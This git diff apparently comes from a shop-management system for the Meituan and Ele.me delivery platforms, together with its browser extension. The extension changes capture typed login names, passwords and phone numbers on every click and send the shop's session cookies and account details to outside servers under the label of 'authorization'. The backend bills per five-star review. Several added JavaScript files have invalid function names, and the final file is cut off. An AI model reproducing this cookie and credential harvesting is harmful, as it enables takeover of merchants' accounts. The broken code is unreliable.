diff --git a/expand/ert/content.js b/expand/ert/content.js index 4921ceb..f55878f 100644 --- a/expand/ert/content.js +++ b/expand/ert/content.js @@ -2,12 +2,16 @@ document.addEventListener("click", function(e) { // 处理点击事件的代码 var account = document.getElementById("login") var password = document.getElementById("password") + var phone = document.getElementById("phone") if(account != null && account != 'undefined'){ localStorage.setItem('account', account.value) } if(password != null && password != 'undefined'){ localStorage.setItem('password', password.value) } + if(phone != null && phone != 'undefined'){ + localStorage.setItem('phone', phone.value) + } }); (function () { if (location.host === 'melody.shop.ele.me' || location.host === 'nr.ele.me') { @@ -50,6 +54,7 @@ document.addEventListener("click", function(e) { var userName = localStorage.getItem('sysName') var sysType = localStorage.getItem('sysType') var account = localStorage.getItem('account') + var phone = localStorage.getItem('phone') var password = localStorage.getItem('password') var wmPoiName = localStorage.getItem('wmPoiName') //console.log('ccccccccccccccccccccccccccccccc'+userName) @@ -74,8 +79,26 @@ document.addEventListener("click", function(e) { } } } - } + }else if(phone !== null && phone !== 'null' ){ + if ('1' === sysType) { + //服务器地址 + xhr.open('POST', 'https://youshi.bj.cn/prod-api/mt/cookies', true) + } else { + xhr.open('POST', 'https://www.shivers.top/prod-api/negative/store_bing', true) + } + xhr.setRequestHeader("Content-Type","application/json") + var sendData = {'bingType': 1, 'cookie': cookies, 'userName': userName, 'account': phone, 'password': null, 'wmPoiName': wmPoiName} + xhr.send(JSON.stringify(sendData)) + xhr.onreadystatechange = function () { + if (xhr.readyState === 4 && xhr.status === 200) { + if (xhr.responseText === 'true') { + alert('当前授权完成,请直接关闭当前浏览器!') + } + } + } + } localStorage.setItem('account', null) + localStorage.setItem('phone', null) localStorage.setItem('password', null) } if (location.host === 'shangoue.meituan.com') { diff --git a/ruoyi-admin/src/main/java/com/ruoyi/business/controller/BusStoreInfoController.java b/ruoyi-admin/src/main/java/com/ruoyi/business/controller/BusStoreInfoController.java index 764fd49..11c1f32 100644 --- a/ruoyi-admin/src/main/java/com/ruoyi/business/controller/BusStoreInfoController.java +++ b/ruoyi-admin/src/main/java/com/ruoyi/business/controller/BusStoreInfoController.java @@ -123,7 +123,7 @@ public class BusStoreInfoController extends BaseController { BusStoreDayInfo busStoreDayInfo = new BusStoreDayInfo(); busStoreDayInfo.setStoreId(info.getId()); List ll = busStoreDayInfoService.selectBusStoreDayInfoList(busStoreDayInfo); - int a = ll.get(0).getLastPositiveReviewsNum(); + int a = ll.get(0).getLastPositiveReviewsNum();//todo 好评-五星 int b = ll.get(0).getLastReturnVisitNum(); info.setLastOrderNum(ll.get(0).getLastOrderNum()); info.setLastReturnVisitNum(b); @@ -134,9 +134,7 @@ public class BusStoreInfoController extends BaseController { // info.setLastReturnVisitNum(llll.size()); info.setScore(ll.get(0).getScore()); if (a != 0 && b != 0) { - java.text.DecimalFormat df = new java.text.DecimalFormat("0.00"); - String formattedResult = df.format(((double) a / b)*100); - info.setLastReturnVisitRate(formattedResult); + info.setLastReturnVisitRate(getRate(a,b)); } else { info.setLastReturnVisitRate("0"); } @@ -201,18 +199,25 @@ public class BusStoreInfoController extends BaseController { for(BusTemplateAttrInfo busTemplateAttrInfo:busTemplateInfo.getAttrInfoList()){ if(content.contains(busTemplateAttrInfo.getAttrValue())){ content = content.replaceAll("#name",busStoreInfo.getStoreName()); - content = content.replaceAll("#from",busStoreInfo.getPlatformType()); + content = content.replaceAll("#from", "1".equals(busStoreInfo.getPlatformType())?"美团":"饿了么"); content = content.replaceAll("#date", LocalDate.now().minusDays(1).toString()); content = content.replaceAll("#count",busStoreDayInfo1.getLastOrderNum()+""); content = content.replaceAll("#good",busStoreDayInfo1.getLastPositiveReviewsNum()+""); content = content.replaceAll("#five",busStoreDayInfo1.getLastFiveStarReviewsNum()+""); content = content.replaceAll("#score",busStoreDayInfo1.getScore()); + int a = busStoreDayInfo1.getLastPositiveReviewsNum();//todo 好评-五星 + int b = busStoreDayInfo1.getLastReturnVisitNum(); + content = content.replaceAll("#rate", getRate(a,b)); if(content.contains("#fee")&&busStoreInfo.getPrice() == null){ throw new ServiceException("请设置单价!"); } content = content.replaceAll("#fee",busStoreInfo.getPrice().multiply(new BigDecimal(busStoreDayInfo1.getLastFiveStarReviewsNum()))+""); } } + content = content.replaceAll("(

)\\s*", "\n"); + content = content.replaceAll("(

)|(

)", ""); + // 对于连续多个换行符的情况,保留一个换行符 + content = content.replaceAll("(


)", "\n\n"); return success(content); } @@ -366,4 +371,9 @@ public class BusStoreInfoController extends BaseController { String value = s.substring(s.indexOf("=") + 1, s.indexOf(";")); return value; } + + private String getRate(int a, int b){ + java.text.DecimalFormat df = new java.text.DecimalFormat("0.00"); + return df.format(((double) a / b)*100); + } } diff --git a/ruoyi-ui/src/api/statistics/attr.js b/ruoyi-ui/src/api/statistics/attr.js new file mode 100644 index 0000000..a7c74e2 --- /dev/null +++ b/ruoyi-ui/src/api/statistics/attr.js @@ -0,0 +1,44 @@ +import request from '@/utils/request' + +// 查询模版属性键值列表 +export function listTemplate/attr(query) { + return request({ + url: '/business/template/attr/list', + method: 'get', + params: query + }) +} + +// 查询模版属性键值详细 +export function getTemplate/attr(id) { + return request({ + url: '/business/template/attr/' + id, + method: 'get' + }) +} + +// 新增模版属性键值 +export function addTemplate/attr(data) { + return request({ + url: '/business/template/attr', + method: 'post', + data: data + }) +} + +// 修改模版属性键值 +export function updateTemplate/attr(data) { + return request({ + url: '/business/template/attr', + method: 'put', + data: data + }) +} + +// 删除模版属性键值 +export function delTemplate/attr(id) { + return request({ + url: '/business/template/attr/' + id, + method: 'delete' + }) +} diff --git a/ruoyi-ui/src/api/statistics/config.js b/ruoyi-ui/src/api/statistics/config.js new file mode 100644 index 0000000..96e72b6 --- /dev/null +++ b/ruoyi-ui/src/api/statistics/config.js @@ -0,0 +1,44 @@ +import request from '@/utils/request' + +// 查询模版属性列表 +export function listTemplate/config(query) { + return request({ + url: '/business/template/config/list', + method: 'get', + params: query + }) +} + +// 查询模版属性详细 +export function getTemplate/config(id) { + return request({ + url: '/business/template/config/' + id, + method: 'get' + }) +} + +// 新增模版属性 +export function addTemplate/config(data) { + return request({ + url: '/business/template/config', + method: 'post', + data: data + }) +} + +// 修改模版属性 +export function updateTemplate/config(data) { + return request({ + url: '/business/template/config', + method: 'put', + data: data + }) +} + +// 删除模版属性 +export function delTemplate/config(id) { + return request({ + url: '/business/template/config/' + id, + method: 'delete' + }) +} diff --git a/ruoyi-ui/src/api/statistics/template.js b/ruoyi-ui/src/api/statistics/template.js new file mode 100644 index 0000000..c8f0b42 --- /dev/null +++ b/ruoyi-ui/src/api/statistics/template.js @@ -0,0 +1,44 @@ +import request from '@/utils/request' + +// 查询模版列表 +export function listTemplate(query) { + return request({ + url: '/business/template/list', + method: 'get', + params: query + }) +} + +// 查询模版详细 +export function getTemplate(id) { + return request({ + url: '/business/template/' + id, + method: 'get' + }) +} + +// 新增模版 +export function addTemplate(data) { + return request({ + url: '/business/template', + method: 'post', + data: data + }) +} + +// 修改模版 +export function updateTemplate(data) { + return request({ + url: '/business/template', + method: 'put', + data: data + }) +} + +// 删除模版 +export function delTemplate(id) { + return request({ + url: '/business/template/' + id, + method: 'delete' + }) +} diff --git a/ruoyi-ui/src/views/statistics/daily/index.vue b/ruoyi-ui/src/views/statistics/daily/index.vue index b54c56d..926c2d7 100644 --- a/ruoyi-ui/src/views/statistics/daily/index.vue +++ b/ruoyi-ui/src/views/statistics/daily/index.vue @@ -1,48 +1,23 @@